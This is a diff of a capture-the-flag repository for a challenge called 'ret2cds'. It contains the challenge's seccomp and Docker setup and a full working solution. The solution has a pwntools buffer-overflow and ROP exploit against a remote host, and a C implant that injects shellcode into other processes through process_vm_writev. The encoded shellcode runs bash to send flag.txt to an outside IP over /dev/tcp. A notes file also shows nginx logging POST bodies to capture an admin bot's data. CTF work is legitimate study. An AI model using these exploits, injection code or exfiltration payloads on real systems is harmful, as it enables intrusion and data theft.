0519: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0520: 0x15 0x00 0x01 0x0000010a if (A != symlinkat) goto 0522
|
||||
0521: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0522: 0x15 0x00 0x01 0x0000010b if (A != readlinkat) goto 0524
|
||||
0523: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0524: 0x15 0x00 0x01 0x0000010c if (A != fchmodat) goto 0526
|
||||
0525: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0526: 0x15 0x00 0x01 0x0000010d if (A != faccessat) goto 0528
|
||||
0527: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0528: 0x15 0x00 0x01 0x0000010e if (A != pselect6) goto 0530
|
||||
0529: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0530: 0x15 0x00 0x01 0x0000010f if (A != ppoll) goto 0532
|
||||
0531: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0532: 0x15 0x00 0x01 0x00000110 if (A != unshare) goto 0534
|
||||
0533: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0534: 0x15 0x00 0x01 0x00000111 if (A != set_robust_list) goto 0536
|
||||
0535: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0536: 0x15 0x00 0x01 0x00000112 if (A != get_robust_list) goto 0538
|
||||
0537: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0538: 0x15 0x00 0x01 0x00000113 if (A != splice) goto 0540
|
||||
0539: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0540: 0x15 0x00 0x01 0x00000114 if (A != tee) goto 0542
|
||||
0541: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0542: 0x15 0x00 0x01 0x00000115 if (A != sync_file_range) goto 0544
|
||||
0543: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0544: 0x15 0x00 0x01 0x00000116 if (A != vmsplice) goto 0546
|
||||
0545: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0546: 0x15 0x00 0x01 0x00000117 if (A != move_pages) goto 0548
|
||||
0547: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0548: 0x15 0x00 0x01 0x00000118 if (A != utimensat) goto 0550
|
||||
0549: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0550: 0x15 0x00 0x01 0x00000119 if (A != epoll_pwait) goto 0552
|
||||
0551: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0552: 0x15 0x00 0x01 0x0000011a if (A != signalfd) goto 0554
|
||||
0553: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0554: 0x15 0x00 0x01 0x0000011b if (A != timerfd) goto 0556
|
||||
0555: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0556: 0x15 0x00 0x01 0x0000011c if (A != eventfd) goto 0558
|
||||
0557: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0558: 0x15 0x00 0x01 0x0000011d if (A != fallocate) goto 0560
|
||||
0559: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0560: 0x15 0x00 0x01 0x0000011e if (A != timerfd_settime) goto 0562
|
||||
0561: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0562: 0x15 0x00 0x01 0x0000011f if (A != timerfd_gettime) goto 0564
|
||||
0563: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0564: 0x15 0x00 0x01 0x00000120 if (A != accept4) goto 0566
|
||||
0565: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0566: 0x15 0x00 0x01 0x00000121 if (A != signalfd4) goto 0568
|
||||
0567: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0568: 0x15 0x00 0x01 0x00000122 if (A != eventfd2) goto 0570
|
||||
0569: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0570: 0x15 0x00 0x01 0x00000123 if (A != epoll_create1) goto 0572
|
||||
0571: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0572: 0x15 0x00 0x01 0x00000124 if (A != dup3) goto 0574
|
||||
0573: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0574: 0x15 0x00 0x01 0x00000125 if (A != pipe2) goto 0576
|
||||
0575: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0576: 0x15 0x00 0x01 0x00000126 if (A != inotify_init1) goto 0578
|
||||
0577: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0578: 0x15 0x00 0x01 0x00000127 if (A != preadv) goto 0580
|
||||
0579: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0580: 0x15 0x00 0x01 0x00000128 if (A != pwritev) goto 0582
|
||||
0581: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0582: 0x15 0x00 0x01 0x00000129 if (A != rt_tgsigqueueinfo) goto 0584
|
||||
0583: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0584: 0x15 0x00 0x01 0x0000012a if (A != perf_event_open) goto 0586
|
||||
0585: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0586: 0x15 0x00 0x01 0x0000012b if (A != recvmmsg) goto 0588
|
||||
0587: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0588: 0x15 0x00 0x01 0x0000012c if (A != fanotify_init) goto 0590
|
||||
0589: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0590: 0x15 0x00 0x01 0x0000012d if (A != fanotify_mark) goto 0592
|
||||
0591: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0592: 0x15 0x00 0x01 0x0000012e if (A != prlimit64) goto 0594
|
||||
0593: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0594: 0x15 0x00 0x01 0x0000012f if (A != name_to_handle_at) goto 0596
|
||||
0595: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0596: 0x15 0x00 0x01 0x00000130 if (A != open_by_handle_at) goto 0598
|
||||
0597: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0598: 0x15 0x00 0x01 0x00000131 if (A != clock_adjtime) goto 0600
|
||||
0599: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0600: 0x15 0x00 0x01 0x00000132 if (A != syncfs) goto 0602
|
||||
0601: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0602: 0x15 0x00 0x01 0x00000133 if (A != sendmmsg) goto 0604
|
||||
0603: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0604: 0x15 0x00 0x01 0x00000134 if (A != setns) goto 0606
|
||||
0605: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0606: 0x15 0x00 0x01 0x00000135 if (A != getcpu) goto 0608
|
||||
0607: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0608: 0x15 0x00 0x01 0x00000138 if (A != kcmp) goto 0610
|
||||
0609: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0610: 0x15 0x00 0x01 0x00000139 if (A != finit_module) goto 0612
|
||||
0611: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0612: 0x15 0x00 0x01 0x0000013a if (A != sched_setattr) goto 0614
|
||||
0613: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0614: 0x15 0x00 0x01 0x0000013b if (A != sched_getattr) goto 0616
|
||||
0615: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0616: 0x15 0x00 0x01 0x0000013c if (A != renameat2) goto 0618
|
||||
0617: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0618: 0x15 0x00 0x01 0x0000013d if (A != seccomp) goto 0620
|
||||
0619: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0620: 0x15 0x00 0x01 0x0000013e if (A != getrandom) goto 0622
|
||||
0621: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0622: 0x15 0x00 0x01 0x0000013f if (A != memfd_create) goto 0624
|
||||
0623: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0624: 0x15 0x00 0x01 0x00000140 if (A != kexec_file_load) goto 0626
|
||||
0625: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0626: 0x15 0x00 0x01 0x00000141 if (A != bpf) goto 0628
|
||||
0627: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0628: 0x15 0x00 0x01 0x00000143 if (A != userfaultfd) goto 0630
|
||||
0629: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0630: 0x15 0x00 0x01 0x00000144 if (A != membarrier) goto 0632
|
||||
0631: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0632: 0x15 0x00 0x01 0x00000145 if (A != mlock2) goto 0634
|
||||
0633: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0634: 0x15 0x00 0x01 0x00000146 if (A != copy_file_range) goto 0636
|
||||
0635: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0636: 0x15 0x00 0x01 0x00000147 if (A != preadv2) goto 0638
|
||||
0637: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0638: 0x15 0x00 0x01 0x00000148 if (A != pwritev2) goto 0640
|
||||
0639: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0640: 0x15 0x00 0x01 0x00000149 if (A != pkey_mprotect) goto 0642
|
||||
0641: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0642: 0x15 0x00 0x01 0x0000014a if (A != pkey_alloc) goto 0644
|
||||
0643: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0644: 0x15 0x00 0x01 0x0000014b if (A != pkey_free) goto 0646
|
||||
0645: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0646: 0x15 0x00 0x01 0x0000014c if (A != statx) goto 0648
|
||||
0647: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0648: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
FROM ubuntu:20.04
|
||||
|
||||
ENV DEBIAN_FRONTEND noninteractive
|
||||
|
||||
RUN apt-get update
|
||||
RUN apt-get install -y openjdk-11-jdk
|
||||
|
||||
RUN useradd -m ret2cds
|
||||
|
||||
COPY ./chall /home/ret2cds
|
||||
RUN mkdir /opt/nc-java
|
||||
COPY ./server /opt/nc-java
|
||||
|
||||
RUN chmod 755 /home/ret2cds/*
|
||||
RUN chmod 754 /home/ret2cds/flag.txt
|
||||
|
||||
RUN chmod 755 /opt/nc-java/*
|
||||
|
||||
COPY ./start.sh /start.sh
|
||||
RUN chmod 755 /start.sh
|
||||
|
||||
USER ret2cds
|
||||
|
||||
CMD ["/start.sh"]
|
||||
|
|
@ -0,0 +1 @@
|
|||
fakeflag
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1,11 @@
|
|||
version: '2.4'
|
||||
services:
|
||||
ret2cds:
|
||||
build: .
|
||||
ports:
|
||||
- 1337:1337
|
||||
restart: always
|
||||
security_opt:
|
||||
- seccomp=seccomp.json
|
||||
cap_add:
|
||||
- sys_ptrace
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
cd /home/ret2cds
|
||||
while true; do java -jar /opt/nc-java/nc-java.jar ./ret2cds 1337; done
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
.PHONY: all clean copy
|
||||
|
||||
CC=gcc
|
||||
OBJCOPY=objcopy
|
||||
|
||||
all: implant.bin
|
||||
|
||||
clean:
|
||||
$(RM) *.bin *.elf
|
||||
|
||||
implant.bin: implant.elf
|
||||
$(OBJCOPY) -O binary $< $@
|
||||
|
||||
implant.elf: stage2.c stage2.ld
|
||||
$(CC) -nostdlib -nodefaultlibs -nostdinc -T stage2.ld -fpic -fno-stack-protector \
|
||||
-Os -std=gnu11 -Wall -Wextra -o $@ $<
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
from pwn import *
|
||||
|
||||
import os
|
||||
|
||||
context.arch = 'amd64'
|
||||
|
||||
def run():
|
||||
elf = ELF("../challenge/chall/ret2cds")
|
||||
rop = ROP(elf)
|
||||
rop.write(1, elf.got['write'])
|
||||
print(rop.dump())
|
||||
|
||||
libc = ELF("../challenge/chall/libc.so.6")
|
||||
print(hex(libc.symbols['write']))
|
||||
|
||||
# r = process(["./ld-2.31.so", "./ret2cds"], env={"LD_PRELOAD": os.getcwd() + "/libc.so.6"})
|
||||
# gdb.attach(r)
|
||||
# r = remote("localhost", 1337)
|
||||
r = remote("ret2cds.be.ax", 34485)
|
||||
try:
|
||||
r.recvuntil("warden: ")
|
||||
|
||||
r.sendline(b"A"*256 + b"AAAAAAAA" + rop.chain() + p64(0x0040123a))
|
||||
print(r.recvline())
|
||||
print(r.recvline())
|
||||
leak = r.recvline()[1:8]
|
||||
leak = u64(leak.ljust(8, b'\x00'))
|
||||
print(hex(leak))
|
||||
|
||||
libc_base = leak - libc.symbols['write']
|
||||
print(hex(libc_base))
|
||||
|
||||
libc.address = libc_base
|
||||
|
||||
libc_rop = ROP(libc)
|
||||
libc_rop.mmap(0x133713370000, 0x10000, 7, 0x32) #, -1, 0)
|
||||
libc_rop.read(0, 0x133713370000, 0x10000)
|
||||
print(libc_rop.dump())
|
||||
print(libc_rop.chain())
|
||||
|
||||
# abuse setcontext lol
|
||||
# setcontext is always a good function to look for cool gadgets in
|
||||
# loaded as 0x0
|
||||
# 001581e1 4c 8b 4a 30 MOV R9,qword ptr [RDX + 0x30]
|
||||
# 001581e5 48 8b 92 MOV RDX,qword ptr [RDX + 0x88]
|
||||
# 88 00 00 00
|
||||
# 001581ec 31 c0 XOR EAX,EAX
|
||||
# 001581ee c3 RET
|
||||
fucky_r9_gadget = p64(0x581e1 + libc_base)
|
||||
# load rdx with a pointer to rodata (convenient source of 0x0s) offset so that r9 gets
|
||||
pre_rop = ROP(libc)
|
||||
pre_rop.rdx = 0x402008 - 0x30
|
||||
|
||||
r.sendline(b"A"*256 + b"AAAAAAAA" + pre_rop.chain() + fucky_r9_gadget + libc_rop.chain() + p64(0x133713370000))
|
||||
|
||||
os.system("make")
|
||||
with open("implant.bin", "rb") as f:
|
||||
shellcode = f.read()
|
||||
shellcode += b"\x00" * (0x10000 - len(shellcode))
|
||||
|
||||
r.send(shellcode)
|
||||
|
||||
# stage3 = asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/44.44.127.10/1337"], {}))
|
||||
|
||||
r.interactive()
|
||||
finally:
|
||||
r.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
|
|
@ -0,0 +1,174 @@
|
|||
// look ma no stdlib
|
||||
typedef unsigned char uint8_t;
|
||||
_Static_assert(sizeof(uint8_t) == 1, "uint8_t wrong size");
|
||||
typedef unsigned short uint16_t;
|
||||
_Static_assert(sizeof(uint16_t) == 2, "uint16_t wrong size");
|
||||
typedef unsigned int uint32_t;
|
||||
_Static_assert(sizeof(uint32_t) == 4, "uint32_t wrong size");
|
||||
typedef unsigned long long uint64_t;
|
||||
_Static_assert(sizeof(uint64_t) == 8, "uint64_t wrong size");
|
||||
typedef unsigned int size_t;
|
||||
typedef int ssize_t;
|
||||
|
||||
#define NULL ((void*)0x0)
|
||||
#define pid_t unsigned long
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define SYS_exit 1
|
||||
#define SYS_read 0
|
||||
#define SYS_write 1
|
||||
#define SYS_process_vm_readv 310
|
||||
#define SYS_process_vm_writev 311
|
||||
|
||||
struct iovec {
|
||||
void *iov_base; /* Starting address */
|
||||
size_t iov_len; /* Number of bytes to transfer */
|
||||
};
|
||||
|
||||
int main();
|
||||
void __attribute__((noreturn)) exit(int);
|
||||
|
||||
void* memset(void* dst, int val, size_t size) {
|
||||
for (size_t i = 0; i < size; i++) {
|
||||
((uint8_t*)dst)[i] = val;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* memcpy(void* dst, const void* src, size_t size) {
|
||||
for (size_t i = 0; i < size; i++) {
|
||||
((uint8_t*)dst)[i] = ((uint8_t*)src)[i];
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
size_t strlen(const char* s) {
|
||||
size_t sz = 0;
|
||||
while(*s) {
|
||||
s++;
|
||||
sz++;
|
||||
}
|
||||
return sz;
|
||||
}
|
||||
|
||||
extern uint8_t _bss;
|
||||
extern uint8_t _ebss;
|
||||
void __attribute__((noreturn)) __attribute__((section(".text.start"))) _start() {
|
||||
// wipe .bss
|
||||
memset(&_bss, 0, (&_ebss) - (&_bss));
|
||||
// go to main!
|
||||
exit(main());
|
||||
}
|
||||
|
||||
ssize_t read(int _fd, void* _buf, size_t _len) {
|
||||
register int fd asm("rdi") = _fd;
|
||||
register void* buf asm("rsi") = _buf;
|
||||
register size_t len asm("rdx") = _len;
|
||||
register int syscall asm("rax") = SYS_read;
|
||||
register ssize_t ret asm("rax");
|
||||
asm volatile("syscall" : "=r"(ret) : "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
|
||||
return ret;
|
||||
}
|
||||
|
||||
void write(int _fd, const void* _buf, size_t _len) {
|
||||
register int fd asm("rdi") = _fd;
|
||||
register const void* buf asm("rsi") = _buf;
|
||||
register size_t len asm("rdx") = _len;
|
||||
register int syscall asm("rax") = SYS_write;
|
||||
asm volatile("syscall" :: "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
|
||||
}
|
||||
|
||||
void __attribute__((noreturn)) exit(int _code) {
|
||||
register int code asm("rdi") = _code;
|
||||
register int syscall asm("rax") = SYS_exit;
|
||||
asm volatile("syscall" :: "r"(code), "r"(syscall) : "memory");
|
||||
__builtin_unreachable();
|
||||
}
|
||||
|
||||
ssize_t process_vm_readv(pid_t _pid,
|
||||
const struct iovec *_local_iov,
|
||||
unsigned long _liovcnt,
|
||||
const struct iovec *_remote_iov,
|
||||
unsigned long _riovcnt,
|
||||
unsigned long _flags) {
|
||||
register pid_t pid asm("rdi") = _pid;
|
||||
register struct iovec* local_iov asm("rsi") = _local_iov;
|
||||
register unsigned long liovcnt asm("rdx") = _liovcnt;
|
||||
register struct iovec* remote_iov asm("r10") = _remote_iov;
|
||||
register unsigned long riovcnt asm("r8") = _riovcnt;
|
||||
register unsigned long flags asm("r9") = _flags;
|
||||
register int syscall asm("rax") = SYS_process_vm_readv;
|
||||
register ssize_t ret asm("rax");
|
||||
asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt), "r"(remote_iov),
|
||||
"r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t process_vm_writev(pid_t _pid,
|
||||
const struct iovec *_local_iov,
|
||||
unsigned long _liovcnt,
|
||||
const struct iovec *_remote_iov,
|
||||
unsigned long _riovcnt,
|
||||
unsigned long _flags) {
|
||||
register pid_t pid asm("rdi") = _pid;
|
||||
register struct iovec* local_iov asm("rsi") = _local_iov;
|
||||
register unsigned long liovcnt asm("rdx") = _liovcnt;
|
||||
register struct iovec* remote_iov asm("r10") = _remote_iov;
|
||||
register unsigned long riovcnt asm("r8") = _riovcnt;
|
||||
register unsigned long flags asm("r9") = _flags;
|
||||
register int syscall asm("rax") = SYS_process_vm_writev;
|
||||
register ssize_t ret asm("rax");
|
||||
asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt), "r"(remote_iov),
|
||||
"r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
|
||||
return ret;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
void print(char* s) {
|
||||
write(1, s, strlen(s));
|
||||
}
|
||||
|
||||
const char* hex_chars = "0123456789abcdef";
|
||||
|
||||
void print_int(unsigned long x) {
|
||||
char c;
|
||||
for(int i = 0; i < 64; i+= 4) {
|
||||
c = hex_chars[(x >> (64 - 4 - i)) & 0xf];
|
||||
write(1, &c, 1);
|
||||
}
|
||||
}
|
||||
|
||||
// asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/44.44.127.10/1337"], {}))
|
||||
char* buf = "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x31\x2e\x30\x32\x32\x36\x01\x01\x48\x31\x04\x24\x48\xb8\x34\x34\x2e\x31\x32\x37\x2e\x31\x50\x48\xb8\x2f\x74\x63\x70\x2f\x34\x34\x2e\x50\x48\xb8\x74\x20\x3e\x20\x2f\x64\x65\x76\x50\x48\xb8\x20\x66\x6c\x61\x67\x2e\x74\x78\x50\x48\xb8\x68\x61\x78\x3b\x20\x63\x61\x74\x50\x48\xb8\x63\x68\x20\x2f\x74\x6d\x70\x2f\x50\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x69\x01\x2c\x62\x01\x75\x6e\x74\x48\x31\x04\x24\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x31\xf6\x56\x6a\x15\x5e\x48\x01\xe6\x56\x6a\x1a\x5e\x48\x01\xe6\x56\x6a\x18\x5e\x48\x01\xe6\x56\x48\x89\xe6\x6a\x01\xfe\x0c\x24\x31\xd2\x52\x48\x89\xe2\x6a\x3b\x58\x0f\x05";
|
||||
char buf2[0x2000];
|
||||
|
||||
struct iovec remote_vec = { (void*)0x800000000, 0x2000 };
|
||||
struct iovec local_vec = { &buf2[0], 0x2000 };
|
||||
|
||||
int main() {
|
||||
print("implant is booted\n");
|
||||
|
||||
memset(buf2, 0x90, 0x2000);
|
||||
memcpy(&buf2[0x2000 - 186], buf, 186);
|
||||
|
||||
for (int i = 2; i < 100; i++) {
|
||||
print("sending to pid:");
|
||||
print_int(i);
|
||||
print("\n");
|
||||
ssize_t ret = process_vm_writev(i, &local_vec, 1, &remote_vec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
print("bad ret!: ");
|
||||
print_int(-ret);
|
||||
print("\n");
|
||||
} else {
|
||||
print("GOOD RET\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
print("injection complete\n");
|
||||
while(true){}
|
||||
return 120;
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
ENTRY(_start)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAM (rwx) : ORIGIN = 0x133713370000, LENGTH = 0x10000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.start)
|
||||
*(.text*)
|
||||
}
|
||||
|
||||
.rodata :
|
||||
{
|
||||
*(.rodata*)
|
||||
}
|
||||
|
||||
.data :
|
||||
{
|
||||
*(.data*)
|
||||
}
|
||||
|
||||
.bss :
|
||||
{
|
||||
_bss = .;
|
||||
*(.bss*)
|
||||
*(COMMON)
|
||||
_ebss = .;
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
|
|
@ -0,0 +1,22 @@
|
|||
# tricks
|
||||
|
||||
## phpme: log all submitted post data with nginx
|
||||
(to capture a flag POSTed by an adminbot)
|
||||
|
||||
you can avoid having to write any code and use pure nginx config for this lol
|
||||
|
||||
i'm putting this here because i don't wanna write up phpme but this is a cool thing i found out in
|
||||
the process
|
||||
|
||||
```nginx
|
||||
log_format postdata $request_body;
|
||||
|
||||
server {
|
||||
location /flagzone {
|
||||
access_log /var/log/nginx/flags.log postdata;
|
||||
echo_read_request_body;
|
||||
# ...
|
||||
}
|
||||
# ...
|
||||
}
|
||||
```
|
||||
Loading…
Reference in New Issue